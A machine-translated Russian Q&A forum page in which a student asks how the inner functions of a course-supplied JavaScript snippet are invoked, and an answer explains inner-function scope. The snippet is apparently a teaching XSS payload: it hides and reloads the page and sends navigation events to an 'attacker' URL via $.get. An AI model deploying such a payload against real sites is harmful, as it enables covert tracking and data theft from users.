2015-11-28 12 views
-1

Часть моего курса я дал следующий кодпередавая данные и HREF в качестве параметров функции в Javascript

function payload(attacker) { 
      function log(data) { 
       console.log($.param(data)) 
       $.get(attacker, data); 
      } 
      function proxy(href) { 
       $("html").load(href, function(){ 
        $("html").show(); 
        log({event: "nav", uri: href}); 
        $("#query").val("pwned!"); 
       }); 
      } 
      $("html").hide(); 
      proxy("./"); 
     } 

В функции log и proxy, каким образом параметры под названием? В последующем коде вызывается только payload(attacker, но я не вижу, как вызывается payload, другие две функции.

Я вижу, что они также являются HTML-тегами, и это еще один тип параметров, который существует только в Javascripts?

ответ

2

Другие два являются внутренними функциями; они просто помогают payload выполнять свою работу и существовать только в пределах ее объема. Обратите внимание, что в конце определения функции есть вызов proxy?, Который устанавливает href в './' и загружает некоторые вещи, включая сброс некоторой информации на консоль (по вызову log). Так называются другие функции. Ничего волшебного не происходит. Просто следуйте вызовам.

Смежные вопросы